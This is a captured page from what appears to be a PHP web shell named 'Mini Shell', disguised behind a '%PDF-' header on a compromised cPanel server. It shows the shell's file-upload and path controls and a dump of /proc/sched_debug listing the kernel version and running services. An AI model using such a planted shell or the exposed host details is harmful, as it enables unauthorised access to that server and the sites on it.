%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/
Upload File :
Create Path :
Current File : //proc/self/root/proc/sched_debug

Sched Debug Version: v0.11, 3.10.0-1160.90.1.el7.x86_64 #1
ktime                                   : 53116528606.556777
sched_clk                               : 53115985102.075962
cpu_clk                                 : 53115985102.076035
jiffies                                 : 57411195903
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 1.500000
  .sysctl_sched_wakeup_granularity         : 2.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2199.992 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 15371987702
  .nr_load_updates               : 9822775422
  .nr_uninterruptible            : -2463812
  .next_balance                  : 57411.195909
  .curr->pid                     : 0
  .clock                         : 53115985101.555130
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 0
  .cpu_load[4]                   : 20
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 4056365823.525429
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 7
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 1068
  .avg->runnable_avg_period      : 46268

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.019590
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 4056365817.886464  70667334   120         0.000000  24936558.294849         0.000000 0 /
    kworker/0:0H     4      1593.545615         7   100         0.000000         2.694842         0.000000 0 /
     ksoftirqd/0     6 4056365817.254403  37964953   120         0.000000   1073540.287559         0.000000 0 /
     migration/0     7         0.000000  29291185     0         0.000000    417769.370375         0.000000 0 /
          rcu_bh     8 3397355833.863748         5   120         0.000000         0.038362         0.000000 0 /
       rcu_sched     9 4056365818.423582 17870950311   120         0.000000 168119756.754141         0.000000 0 /
   lru-add-drain    10        29.784471         2   100         0.000000         0.002047         0.000000 0 /
      watchdog/0    11         0.000000  13279136     0         0.000000    270902.982263         0.000000 0 /
       writeback    26 4040017812.184349        67   100         0.000000         8.709006         0.000000 0 /
         kswapd0    40 4056365093.891520   2872927   120         0.000000   3784346.946721         0.000000 0 /
      khugepaged    42 4056365689.372509   2289003   139         0.000000    565925.525598         0.000000 0 /
        kthrotld    51       683.640030         2   100         0.000000         0.021090         0.000000 0 /
    kmpath_rdacd    53       689.668658         2   100         0.000000         0.013090         0.000000 0 /
         ata_sff   237      1046.628647         2   100         0.000000         0.006868         0.000000 0 /
       scsi_eh_0   245      1089.401003         4   120         0.000000         0.916994         0.000000 0 /
      scsi_tmf_0   246      1074.082560         2   100         0.000000         0.006980         0.000000 0 /
   virtscsi-scan   248      1078.131225         2   100         0.000000         0.004801         0.000000 0 /
     jbd2/sda1-8   271 4056365798.794469 168574392   120         0.000000   6545971.719082         0.000000 0 /
    kworker/0:1H   411 4056365798.699866  93276835   100         0.000000   1483753.852706         0.000000 0 /
          auditd   529 2612386097.769405   3907601   116         0.000000    196070.586144         0.000000 0 /
 cpdavd - accept  1338 4055325757.551926    760386   120         0.000000   2580049.493819         0.000000 0 /
          mysqld 14285 2670368395.257073         1   120         0.000000         0.062247         0.000000 0 /
          mysqld 14290 4056365817.276148  33879695   120         0.000000   1082621.631680         0.000000 0 /
          mysqld 14292 4056365817.552371  34668615   120         0.000000   1075293.708241         0.000000 0 /
          mysqld 14293 4056365817.515093  33945107   120         0.000000   1076007.679510         0.000000 0 /
          mysqld 14295 4056365817.548209  34004715   120         0.000000   1060361.671607         0.000000 0 /
          mysqld 14306 2670368495.174179        84   120         0.000000         9.403937         0.000000 0 /
          mysqld 14309 2670368491.948746         4   120         0.000000         0.015956         0.000000 0 /
          mysqld 14310 2670368501.260508         2   120         0.000000         0.061390         0.000000 0 /
          mysqld 14311 2670368507.258026         3   120         0.000000         0.033680         0.000000 0 /
          mysqld  2920 4056362500.404139   5380554   120         0.000000   3993973.173452         0.000000 0 /
             atd 14395 4056302126.123334      4861   120         0.000000       688.855156         0.000000 0 /
  systemd-logind 14411 4056365817.606264   5288811   120         0.000000    600161.201093         0.000000 0 /
          agetty 14428 2670369065.036407        27   120         0.000000         3.056004         0.000000 0 /
         lvmetad 15544 2670395728.527022        13   120         0.000000         4.652015         0.000000 0 /
           gmain 22131 3188569486.297384         5   120         0.000000         0.125563         0.000000 0 /
         polkitd 22133 3188569498.752887         1   120         0.000000         0.051740         0.000000 0 /
    JS GC Helper 22134 3188569504.859970         2   120         0.000000         0.107086         0.000000 0 /
 JS Sour~ Thread 22135 3188569511.047157         5   120         0.000000         0.090812         0.000000 0 /
         polkitd 22136 3188580033.599463         4   120         0.000000         0.151233         0.000000 0 /
        gssproxy  8656 3269832609.297425         1   120         0.000000         0.059279         0.000000 0 /
        gssproxy  8658 3269832613.314514         1   120         0.000000         0.017090         0.000000 0 /
        gssproxy  8659 3269832617.323496         1   120         0.000000         0.008983         0.000000 0 /
        gssproxy  8660 3269832621.339422         1   120         0.000000         0.015927         0.000000 0 /
      tailwatchd 27993 4056364807.600838   1170800   120         0.000000    614623.611849         0.000000 0 /
            nscd 19730 4056365690.946031     71658   120         0.000000      7840.178564         0.000000 0 /
            nscd 19733 4053403640.574869        38   120         0.000000         6.740657         0.000000 0 /
            nscd 19734 4056365759.541860     90928   120         0.000000     11803.997577         0.000000 0 /
            nscd 19735 4056365759.633641     91056   120         0.000000     11735.643837         0.000000 0 /
            nscd  9129 4056364673.063684     81617   120         0.000000     10493.578053         0.000000 0 /
            nscd  9130 4056364721.358810     81828   120         0.000000     10732.284884         0.000000 0 /
            nscd  9131 4056364673.030208     81585   120         0.000000     11007.913084         0.000000 0 /
            nscd 28603 4056365768.188042     77142   120         0.000000      9974.397264         0.000000 0 /
            nscd 29494 4056364753.654137     25491   120         0.000000      3520.476126         0.000000 0 /
            nscd 29500 4056365104.244594     25402   120         0.000000      3377.281473         0.000000 0 /
      mailmanctl 19939 4053401432.612148        51   120         0.000000        37.129246         0.000000 0 /
         python2 19943 4056365817.411432   1799994   120         0.000000    330178.523948         0.000000 0 /
         python2 19945 4056365817.398886   1800042   120         0.000000    343365.216061         0.000000 0 /
         dovecot 20189 4056365686.879195    737705   120         0.000000     61825.064049         0.000000 0 /
   pdns/receiver 20221 4056365760.052297    589273   120         0.000000    131806.118748         0.000000 0 /
             log 26151 4056365363.730656     16105   120         0.000000      1326.038106         0.000000 0 /
      pop3-login 26152 4056364233.909949      3109   120         0.000000       955.513875         0.000000 0 /
          config 26154 4056364803.934366     12824   120         0.000000      3844.604888         0.000000 0 /
           stats 26155 4056365363.823115     32541   120         0.000000      1427.959312         0.000000 0 /
     spamd child 25427 4056365611.571271      4099   120         0.000000     18398.517270         0.000000 0 /
    kworker/u6:0  9554 4056324249.149628      3039   120         0.000000       571.009971         0.000000 0 /
     kworker/0:1 14436 4056364621.325900     24648   120         0.000000       486.103494         0.000000 0 /
           httpd 20097 4056365801.649166      3243   120         0.000000      1285.425946         0.000000 0 /
           httpd 20099 4056365765.772960      3421   120         0.000000      1310.922449         0.000000 0 /
           httpd 20102 4056365692.734848      3642   120         0.000000      1295.542622         0.000000 0 /
           httpd 20103 4056365701.522185      3174   120         0.000000      1257.855765         0.000000 0 /
           httpd 20106 4056365715.868169      3271   120         0.000000      1265.969025         0.000000 0 /
           httpd 20107 4056365760.131895      3042   120         0.000000      1212.695953         0.000000 0 /
           httpd 20108 4056365804.998091      3513   120         0.000000      1329.401685         0.000000 0 /
           httpd 20112 4056365759.952132      3280   120         0.000000      1248.845485         0.000000 0 /
           httpd 20117 4056365817.855157      3538   120         0.000000      1332.518533         0.000000 0 /
           httpd 20118 4056365702.064597      3690   120         0.000000      1286.946581         0.000000 0 /
           httpd 20119 4056365761.270540      3193   120         0.000000      1262.034458         0.000000 0 /
           httpd 20121 4056365704.304853      3206   120         0.000000      1240.383270         0.000000 0 /
           httpd 25369 4056187253.483070         5   120         0.000000         2.303339         0.000000 0 /
           httpd 25372 4056365760.242846      2200   120         0.000000       862.174618         0.000000 0 /
           httpd 25373 4056365644.025549      2535   120         0.000000       903.521218         0.000000 0 /
           httpd 25376 4056365759.990281      2359   120         0.000000       901.873219         0.000000 0 /
           httpd 25377 4056365817.407574      2527   120         0.000000       933.311080         0.000000 0 /
           httpd 25378 4056365752.523660      2246   120         0.000000       862.189761         0.000000 0 /
           httpd 25380 4056365675.781535      2111   120         0.000000       792.661604         0.000000 0 /
           httpd 25381 4056365765.083346      2433   120         0.000000       900.337360         0.000000 0 /
           httpd 25382 4056365818.657154      2472   120         0.000000       883.384043         0.000000 0 /
           httpd 25383 4056365805.153411      2058   120         0.000000       800.928993         0.000000 0 /
           httpd 25384 4056365801.356535      2374   120         0.000000       899.438998         0.000000 0 /
           httpd 25388 4056365694.812271      2431   120         0.000000       879.710329         0.000000 0 /
           httpd 25389 4056365769.528586      2495   120         0.000000       871.457218         0.000000 0 /
           httpd 25390 4056365806.320608      2795   120         0.000000       949.269222         0.000000 0 /
           httpd 25391 4056365802.240944      2303   120         0.000000       888.307221         0.000000 0 /
           httpd 25393 4056365639.197131      2063   120         0.000000       797.348147         0.000000 0 /
           httpd 25394 4056365804.393566      2091   120         0.000000       748.361569         0.000000 0 /
           httpd 25396 4056365817.596225     12191   120         0.000000       610.588099         0.000000 0 /
           httpd 27151 4056365763.261776      1933   120         0.000000       717.154364         0.000000 0 /
           httpd 27156 4056365801.335533      2584   120         0.000000       831.955013         0.000000 0 /
           httpd 27159 4056365803.148442      1773   120         0.000000       687.164399         0.000000 0 /
           httpd 27160 4056365708.744387      2001   120         0.000000       742.237316         0.000000 0 /
           httpd 27162 4056365803.666402      2021   120         0.000000       672.352931         0.000000 0 /
           httpd 27164 4056365804.818903      1809   120         0.000000       684.982725         0.000000 0 /
           httpd 27167 4056365709.927544      1608   120         0.000000       608.821388         0.000000 0 /
           httpd 27168 4056365710.122560      1752   120         0.000000       615.188021         0.000000 0 /
           httpd 27170 4056365752.586044      1835   120         0.000000       726.634250         0.000000 0 /
           httpd 27176 4056365817.556390      9842   120         0.000000       509.967287         0.000000 0 /
           httpd  3554 4056365805.271973       826   120         0.000000       336.475875         0.000000 0 /
           httpd  3555 4056365766.002877       790   120         0.000000       335.512125         0.000000 0 /
           httpd  3557 4056365767.455262       922   120         0.000000       345.725604         0.000000 0 /
           httpd  3558 4056365701.653961       868   120         0.000000       343.805371         0.000000 0 /
           httpd  3559 4056365764.173036       886   120         0.000000       351.167160         0.000000 0 /
           httpd  3563 4056365820.333915      1135   120         0.000000       403.570203         0.000000 0 /
           httpd  3569 4056365818.372907       922   120         0.000000       371.985991         0.000000 0 /
           httpd  3570 4056365695.510257       853   120         0.000000       333.893655         0.000000 0 /
           httpd  3572 4056365759.757003       851   120         0.000000       351.365750         0.000000 0 /
           httpd  3573 4056365701.626389       979   120         0.000000       382.447849         0.000000 0 /
           httpd  3575 4056365768.416244       673   120         0.000000       268.048908         0.000000 0 /
           httpd  3578 4056365804.925895       894   120         0.000000       374.242844         0.000000 0 /
           httpd  3579 4056365817.442010      5323   120         0.000000       254.369384         0.000000 0 /
           httpd  4860 4056365714.331838       534   120         0.000000       217.700555         0.000000 0 /
           httpd  4862 4056365764.916359       601   120         0.000000       203.554864         0.000000 0 /
           httpd  4863 4056365706.866821       725   120         0.000000       264.092078         0.000000 0 /
           httpd  4864 4056365802.455804       495   120         0.000000       198.458174         0.000000 0 /
           httpd  4873 4056365819.050623       608   120         0.000000       231.449451         0.000000 0 /
           httpd  4884 4056365802.204288       788   120         0.000000       269.670084         0.000000 0 /
     kworker/0:0  5396 4056364550.748808         4   120         0.000000         0.066023         0.000000 0 /
     kworker/0:2  6968 4056365817.535257       192   120         0.000000         4.875760         0.000000 0 /
            sshd  7128 4056365807.114161        30   120         0.000000        45.101160         0.000000 0 /
         php-fpm  7135 4056365817.569105        11   120         0.000000         3.170728         0.000000 0 /
         php-fpm  7137 4056365823.525429        21   120         0.000000        13.454523         0.000000 0 /

cpu#1, 2199.992 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 28427409138
  .nr_load_updates               : 52779910110
  .nr_uninterruptible            : 1427762
  .next_balance                  : 57411.196090
  .curr->pid                     : 7138
  .clock                         : 53115985103.524467
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 960
  .cpu_load[2]                   : 700
  .cpu_load[3]                   : 424
  .cpu_load[4]                   : 234
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3758465869.381681
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -297899954.143748
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 70
  .blocked_load_avg              : 28
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 3920
  .avg->runnable_avg_period      : 47142

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.022874
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
        kthreadd     2 3758464748.754511     93675   120         0.000000      4156.960707         0.000000 0 /
      watchdog/1    12        -2.995893  13279136     0         0.000000    247107.885657         0.000000 0 /
     migration/1    13         0.000000  28128882     0         0.000000    469158.828000         0.000000 0 /
     ksoftirqd/1    14 3758465862.968151 1677438922   120         0.000000  33695063.778051         0.000000 0 /
    kworker/1:0H    16      9320.571658         9   100         0.000000         0.035665         0.000000 0 /
       kdevtmpfs    23 3107577986.000959       143   120         0.000000         2.383207         0.000000 0 /
           netns    24        16.783736         2   100         0.000000         0.017643         0.000000 0 /
      khungtaskd    25 3758464803.919742    442641   120         0.000000     81688.847921         0.000000 0 /
     kintegrityd    27        28.823820         2   100         0.000000         0.007463         0.000000 0 /
          bioset    28        32.838189         2   100         0.000000         0.014929         0.000000 0 /
          bioset    29        36.846587         2   100         0.000000         0.009053         0.000000 0 /
          bioset    30        40.855171         2   100         0.000000         0.009160         0.000000 0 /
         kblockd    31        44.863554         2   100         0.000000         0.008928         0.000000 0 /
              md    32        48.879332         2   100         0.000000         0.016597         0.000000 0 /
     edac-poller    33        52.898640         2   100         0.000000         0.020014         0.000000 0 /
       watchdogd    34        56.918787         2   100         0.000000         0.020898         0.000000 0 /
            ksmd    41        85.236939         2   125         0.000000         0.024794         0.000000 0 /
          crypto    43        93.383284         2   100         0.000000         0.015305         0.000000 0 /
          kaluad    54       141.666527         2   100         0.000000         0.031231         0.000000 0 /
       kpsmoused    56       151.695898         2   100         0.000000         0.015198         0.000000 0 /
   ipv6_addrconf    58       155.726856         2   100         0.000000         0.036793         0.000000 0 /
       scsi_eh_1   247       791.188043         4   120         0.000000         0.520735         0.000000 0 /
       scsi_eh_2   249       793.156501         2   120         0.000000         0.004704         0.000000 0 /
      scsi_tmf_2   250       779.001544         2   100         0.000000         0.002926         0.000000 0 /
      scsi_tmf_1   251       782.142337         2   100         0.000000         0.004081         0.000000 0 /
          rpciod   532      1907.679102         2   100         0.000000         0.002051         0.000000 0 /
         xprtiod   533      1910.680283         2   100         0.000000         0.002680         0.000000 0 /
           loop0   686 3758463694.361845  41539321   100         0.000000   1580731.537620         0.000000 0 /
 cpgreylistd - p  1342 3758465863.046036  26666489   120         0.000000   4796868.062191         0.000000 0 /
    kworker/1:1H  1497 3758465616.406512  12264095   100         0.000000    174861.120077         0.000000 0 /
         qemu-ga 14071 3719258936.948277   1675815   120         0.000000     24094.389415         0.000000 0 /
         chronyd 14092 3758465649.128187    163176   120         0.000000     43562.582843         0.000000 0 /
        collectd 14122 3758459195.213220     56672   120         0.000000     10738.355886         0.000000 0 /
          mysqld 14284 3758464507.794568   2117858   120         0.000000    115174.291476         0.000000 0 /
          mysqld 14287 3758465855.268544  33878422   120         0.000000   1083062.095370         0.000000 0 /
          mysqld 14288 3758465862.923494  33854913   120         0.000000   1088682.660787         0.000000 0 /
          mysqld 14296 3758465862.950680  17231378   120         0.000000    932733.624357         0.000000 0 /
          mysqld 14299 3758465844.815813  16933741   120         0.000000   1300355.549110         0.000000 0 /
          mysqld 14301 3758465851.553392  16998778   120         0.000000   1165306.236784         0.000000 0 /
          mysqld 14307 3758465742.337740   1692936   120         0.000000     70249.918264         0.000000 0 /
          mysqld 14308 3758465817.665587   3386206   120         0.000000    143965.802292         0.000000 0 /
          mysqld  2572 3758458422.116835   6053094   120         0.000000   4833949.658127         0.000000 0 /
          mysqld  2661 3758462864.652833   5168347   120         0.000000   4043082.717747         0.000000 0 /
          mysqld  2917 3758464511.261204   5381322   120         0.000000   4201269.322703         0.000000 0 /
          mysqld  2922 3758457470.961596   5750711   120         0.000000   4606218.486275         0.000000 0 /
          mysqld  3059 3758463908.728556   5751175   120         0.000000   4480982.221190         0.000000 0 /
    in:imjournal 14445 3758465851.547077  29552321   120         0.000000   2970089.820763         0.000000 0 /
   rs:main Q:Reg 14449 3758465793.494387  13684182   120         0.000000    744167.657016         0.000000 0 /
   systemd-udevd 15513 3485885753.451212       731   120         0.000000        86.219546         0.000000 0 /
           crond 15566 3758465609.088227    495747   120         0.000000    122653.989196         0.000000 0 /
 systemd-journal 15630 3758465794.148881  14203188   120         0.000000   6786623.712722         0.000000 0 /
      irqbalance 15692 3758465852.172958   1694779   120         0.000000   1346133.190662         0.000000 0 /
 dnsadmin - dorm 17939 3758465742.655422   1705127   120         0.000000    474408.913664         0.000000 0 /
         polkitd 22129 3758465609.381645   1557788   120         0.000000    115651.396186         0.000000 0 /
           gdbus 22132 3758465609.627086   1506663   120         0.000000    168841.139065         0.000000 0 /
         rpcbind  8211 3758465505.936153    363688   120         0.000000     29613.417695         0.000000 0 /
       firewalld  5141 3758465609.489424    376879   120         0.000000    132881.919473         0.000000 0 /
           gmain  5231 3435799829.587089       105   120         0.000000         5.621939         0.000000 0 /
            sshd 25626 3758465756.870907   1962892   120         0.000000    761878.009921         0.000000 0 /
           clamd 25641 3758458342.915147     22329   120         0.000000    282056.557286         0.000000 0 /
           clamd 25711 3758426246.439294      2021   120         0.000000       266.233028         0.000000 0 /
            rngd 25725 3758465863.155005 712606703   120         0.000000   6143096.803737         0.000000 0 /
 queueprocd - wa 18561 3758465761.964174     73909   120         0.000000    138013.057269         0.000000 0 /
            exim 19425 3758464801.909140    108415   120         0.000000     84096.160124         0.000000 0 /
            nscd 19727 3758465793.494127   1627604   120         0.000000     53083.178797         0.000000 0 /
            nscd 19731 3758465810.525245    182462   120         0.000000     45572.867853         0.000000 0 /
            nscd 19732 3757794901.612537       470   120         0.000000       130.641752         0.000000 0 /
            nscd 19736 3758464784.476934     90632   120         0.000000     11925.444863         0.000000 0 /
            nscd 19737 3758465582.670314     90858   120         0.000000     11918.524192         0.000000 0 /
            nscd  9127 3758465391.320352     81596   120         0.000000     10631.766622         0.000000 0 /
            nscd  9128 3758464582.469018     81552   120         0.000000     10618.809121         0.000000 0 /
            nscd 28602 3758465756.060157     77111   120         0.000000     10033.873530         0.000000 0 /
            nscd 29496 3758465111.008877     25381   120         0.000000      3392.048627         0.000000 0 /
            nscd 29498 3758464582.421353     25240   120         0.000000      3450.053960         0.000000 0 /
            nscd 29499 3758464862.935913     25292   120         0.000000      3519.094832         0.000000 0 /
 cpanellogd - sl 19932 3758462107.865950     31992   138         0.000000     12974.333159         0.000000 0 /
         python2 19940 3758465855.447436   1799959   120         0.000000    325944.811907         0.000000 0 /
         python2 19941 3758465844.893175   1800004   120         0.000000    342800.833730         0.000000 0 /
         python2 19942 3758465855.452803   1800015   120         0.000000    325716.370121         0.000000 0 /
         python2 19944 3758465841.128976   1799932   120         0.000000    326500.302011         0.000000 0 /
         python2 19946 3758465863.092278   1799999   120         0.000000    324335.976614         0.000000 0 /
         python2 19947 3758457194.217106      2067   120         0.000000      1754.763686         0.000000 0 /
           anvil 20192 3758465303.564784    272547   120         0.000000     15923.853131         0.000000 0 /
     pdns_server 20216 3758462496.536779      6210   120         0.000000     10498.219405         0.000000 0 /
 pdns/ctrlListen 20217 3748357092.591938        58   120         0.000000        22.060061         0.000000 0 /
  pdns/webserver 20218 3757069713.675397        51   120         0.000000         6.694226         0.000000 0 /
 pdns/statHelper 20219 3758465851.538513   1801614   120         0.000000    128050.088956         0.000000 0 /
 pdns/tcpnameser 20220 3757753871.762706      1187   120         0.000000       219.645326         0.000000 0 /
 cPhulkd - dbpro 29162 3758465793.592381   2882744   120         0.000000   4481516.000587         0.000000 0 /
           spamd 32222 3758465811.644617    303627   120         0.000000    124796.161620         0.000000 0 /
       splitlogs 26116 3758465863.036288    299136   120         0.000000     12690.990356         0.000000 0 /
       splitlogs 26117 3758465863.028968    299361   120         0.000000     13640.234418         0.000000 0 /
           httpd 26118 3757810178.687299       151   120         0.000000       110.038042         0.000000 0 /
    leechprotect 26119 3748366630.592374        45   120         0.000000       135.402647         0.000000 0 /
      pop3-login 26149 3758465447.621285      3534   120         0.000000      1203.567520         0.000000 0 /
      imap-login 26153 3758464071.790798      9625   120         0.000000      1695.963492         0.000000 0 /
     spamd child 31241 3758465609.773769       261   120         0.000000       155.783019         0.000000 0 /
           httpd 20095 3757754575.321123         3   120         0.000000         2.415888         0.000000 0 /
           httpd 20101 3758465798.086989      3375   120         0.000000      1313.093356         0.000000 0 /
           httpd 20105 3758465865.800378      3538   120         0.000000      1284.936304         0.000000 0 /
           httpd 20109 3758465792.230015      3257   120         0.000000      1262.885046         0.000000 0 /
           httpd 20110 3758465812.898101      3578   120         0.000000      1292.921064         0.000000 0 /
           httpd 20111 3758465796.853867      3116   120         0.000000      1191.609992         0.000000 0 /
           httpd 20114 3758465688.151673      3009   120         0.000000      1230.783555         0.000000 0 /
           httpd 20115 3758465684.403816      3222   120         0.000000      1281.466256         0.000000 0 /
           httpd 25379 3758465796.511453      2208   120         0.000000       839.888382         0.000000 0 /
           httpd 25385 3758465795.102334      2189   120         0.000000       816.068992         0.000000 0 /
           httpd 25386 3758465748.781355      2073   120         0.000000       774.415848         0.000000 0 /
           httpd 25387 3758465808.310328      2396   120         0.000000       859.471325         0.000000 0 /
           httpd 25395 3758465792.448878      2616   120         0.000000       936.687946         0.000000 0 /
     kworker/1:1 26781 3758465862.947968     38262   120         0.000000       857.538282         0.000000 0 /
           httpd 27149 3758233890.446272         2   120         0.000000         1.943169         0.000000 0 /
           httpd 27154 3758465709.911777      2175   120         0.000000       732.116317         0.000000 0 /
           httpd 27155 3758465760.210305      1877   120         0.000000       689.562719         0.000000 0 /
           httpd 27161 3758465792.552032      2116   120         0.000000       732.131759         0.000000 0 /
           httpd 27165 3758465794.974642      1692   120         0.000000       636.996527         0.000000 0 /
           httpd 27169 3758465855.221597      2070   120         0.000000       742.242638         0.000000 0 /
           httpd 27171 3758465792.350764      1794   120         0.000000       669.997807         0.000000 0 /
           httpd 27172 3758465748.607804      2027   120         0.000000       729.286040         0.000000 0 /
           httpd 27173 3758465712.217685      2165   120         0.000000       779.563791         0.000000 0 /
           httpd 27174 3758465749.290920      1800   120         0.000000       665.780740         0.000000 0 /
    kworker/u6:1  2344 3758465755.975297       668   120         0.000000       148.227756         0.000000 0 /
           httpd  3552 3758425314.638853         2   120         0.000000         2.534031         0.000000 0 /
           httpd  3556 3758465846.913200       863   120         0.000000       355.406748         0.000000 0 /
           httpd  3560 3758465758.905757       851   120         0.000000       336.547325         0.000000 0 /
           httpd  3564 3758465685.611953       892   120         0.000000       338.723476         0.000000 0 /
           httpd  3566 3758465742.512221       947   120         0.000000       350.720646         0.000000 0 /
           httpd  3567 3758465683.780813       783   120         0.000000       326.898828         0.000000 0 /
           httpd  3568 3758465785.596423      1037   120         0.000000       395.945335         0.000000 0 /
           httpd  3574 3758465782.473688       803   120         0.000000       328.451461         0.000000 0 /
           httpd  3576 3758465792.243907       972   120         0.000000       374.184301         0.000000 0 /
           httpd  3577 3758465805.788024       921   120         0.000000       367.862489         0.000000 0 /
     kworker/1:2  4045 3758452439.073697         3   120         0.000000         0.030558         0.000000 0 /
           httpd  4858 3758439187.539615         4   120         0.000000         2.643848         0.000000 0 /
           httpd  4861 3758465793.963251       499   120         0.000000       204.291635         0.000000 0 /
           httpd  4865 3758465856.556936       673   120         0.000000       232.337713         0.000000 0 /
           httpd  4866 3758465844.945100       512   120         0.000000       212.808864         0.000000 0 /
           httpd  4867 3758465864.358790       435   120         0.000000       184.220432         0.000000 0 /
           httpd  4869 3758465794.674545       674   120         0.000000       274.804392         0.000000 0 /
           httpd  4871 3758465794.038596       493   120         0.000000       215.592796         0.000000 0 /
           httpd  4875 3758465748.724797       659   120         0.000000       261.435217         0.000000 0 /
           httpd  4876 3758465709.748493       510   120         0.000000       208.850611         0.000000 0 /
           httpd  4877 3758465792.549708       515   120         0.000000       206.969431         0.000000 0 /
           httpd  4881 3758465631.983166       574   120         0.000000       236.405017         0.000000 0 /
           httpd  4883 3758465812.579202       647   120         0.000000       238.537129         0.000000 0 /
           httpd  4885 3758465856.894841      3519   120         0.000000       172.960203         0.000000 0 /
            auth  6416 3758465447.620144       184   120         0.000000        38.038570         0.000000 0 /
            sshd  6875 3758463961.729901         8   120         0.000000        14.180991         0.000000 0 /
         php-fpm  7120 3758465852.000275        54   120         0.000000         6.185292         0.000000 0 /
            sshd  7131 3758465793.876068        19   120         0.000000         7.954898         0.000000 0 /
R        php-fpm  7138 3758465869.381681        12   120         0.000000        12.528139         0.000000 0 /

cpu#2, 2199.992 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 15481509237
  .nr_load_updates               : 10087939076
  .nr_uninterruptible            : 1036050
  .next_balance                  : 57411.195825
  .curr->pid                     : 0
  .clock                         : 53115985100.740194
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 0
  .cpu_load[4]                   : 11
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 4116513531.124584
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 60147707.599155
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 17
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 1250
  .avg->runnable_avg_period      : 47406

rt_rq[2]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.012897
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
